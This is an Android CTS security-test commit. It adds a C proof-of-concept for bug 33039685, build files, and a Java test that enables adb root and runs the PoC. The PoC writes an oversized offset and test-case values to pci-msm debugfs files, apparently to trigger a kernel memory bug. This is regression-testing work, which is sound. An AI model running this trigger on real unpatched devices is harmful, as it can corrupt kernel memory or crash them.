CTS/STS test for Android Security b/33039685

Bug: 33039685
Change-Id: I0def24345d2363b3797babb9e2aebf4c7caab33a
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index e769069..a07aec3 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -110,6 +110,12 @@
         <option name="push" value="Bug-35764875->/data/local/tmp/Bug-35764875" />
         <option name="push" value="Bug-35644510->/data/local/tmp/Bug-35644510" />
 
+        <!--__________________-->
+        <!-- Bulletin 2017-09 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+        <option name="push" value="Bug-33039685->/data/local/tmp/Bug-33039685" />
+
         <option name="append-bitness" value="true" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/security/securityPatch/Bug-33039685/Android.mk b/hostsidetests/security/securityPatch/Bug-33039685/Android.mk
new file mode 100644
index 0000000..701138d
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-33039685/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-33039685
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-33039685/poc.c b/hostsidetests/security/securityPatch/Bug-33039685/poc.c
new file mode 100644
index 0000000..e9938c5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-33039685/poc.c
@@ -0,0 +1,107 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/types.h>
+
+#include <asm/ioctl.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+char *pci_msm_path = "/sys/kernel/debug/pci-msm/";
+
+#define SIZE 64
+
+int write_file(int fd, char *str) {
+  int ret;
+  ret = write(fd, str, SIZE);
+  return 0;
+}
+
+int open_file(char *filename) {
+  int fd;
+  char file[125] = {0};
+
+  sprintf(file, "%s%s", pci_msm_path, filename);
+
+  fd = open(file, O_RDWR);
+  if (fd < 0) {
+    exit(1);
+  }
+  return fd;
+}
+
+void set_aer_enable() {
+  int fd;
+  char buf[SIZE] = {0};
+
+  fd = open_file("aer_enable");
+
+  write_file(fd, buf);
+
+  close(fd);
+}
+
+void set_wr_offset() {
+  int fd;
+  char buf[SIZE] = {0};
+
+  fd = open_file("wr_offset");
+
+  sprintf(buf, "%s", "9999999");
+
+  write_file(fd, buf);
+
+  close(fd);
+}
+
+void set_test_case() {
+  int fd;
+  char buf[SIZE] = {0};
+  buf[0] = '1';
+  buf[1] = '2';
+
+  fd = open_file("case");
+
+  write_file(fd, buf);
+
+  close(fd);
+}
+
+void set_base_sel() {
+  int fd;
+  char buf[SIZE] = {0};
+  buf[0] = '1';
+
+  fd = open_file("base_sel");
+
+  write_file(fd, buf);
+
+  close(fd);
+}
+
+int main(int argc, char *argv[]) {
+  set_wr_offset();
+  set_base_sel();
+  set_test_case();
+  return 0;
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_09.java b/hostsidetests/security/src/android/security/cts/Poc17_09.java
new file mode 100644
index 0000000..858875e
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_09.java
@@ -0,0 +1,34 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_09 extends SecurityTestCase {
+
+    /**
+     *  b/33039685
+     */
+    @SecurityTest
+    public void testPocBug_33039685() throws Exception {
+        enableAdbRoot(getDevice());
+        if (containsDriver(getDevice(), "/sys/kernel/debug/pci-msm/")) {
+          AdbUtils.runPocNoOutput("Bug-33039685", getDevice(), 60);
+        }
+    }
+}